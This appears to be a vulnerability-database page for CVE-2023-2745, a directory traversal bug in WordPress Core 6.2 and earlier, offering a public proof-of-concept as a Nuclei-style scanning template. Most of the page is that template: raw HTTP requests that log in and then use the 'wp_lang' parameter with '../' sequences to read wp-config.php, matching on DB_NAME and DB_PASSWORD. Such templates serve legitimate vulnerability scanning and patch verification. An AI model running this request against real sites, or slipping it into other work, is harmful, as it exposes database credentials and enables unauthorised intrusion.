CVE-2023-2745: WordPress Core <=6.2 - Directory Traversal

日期: 2025-08-01 | 影响软件: WordPress Core | POC: 已公开

漏洞描述

WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.

PoC代码[已公开]

id: CVE-2023-2745

info:
  name: WordPress Core <=6.2 - Directory Traversal
  author: nqdung2002
  severity: medium
  description: |
    WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.
  impact: |
    This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2745
    - https://www.cvedetails.com/cve/CVE-2023-2745/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-22
    epss-score: 0.64849
    epss-percentile: 0.98419
  metadata:
    max-request: 3
    framework: wordpress
  tags: cve,cve2023,wpscan,disclosure,wp,wordpress,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins")'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-login.php?wp_lang=../../../../../../../wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "DB_NAME", "DB_PASSWORD")'
          - 'status_code_2 == 200'
        condition: and
# digest: 4a0a004730450220430663a5b0db187dbc19b2ddee0a57439f1374d14249d1b351d705a5f3b60cfc0221009e6de8cc3b09bfd7f766696201143dedc85047f57dd22236aee3b5758ef78bbf:922c64590222798bb761d5b6d8e72950

相关漏洞推荐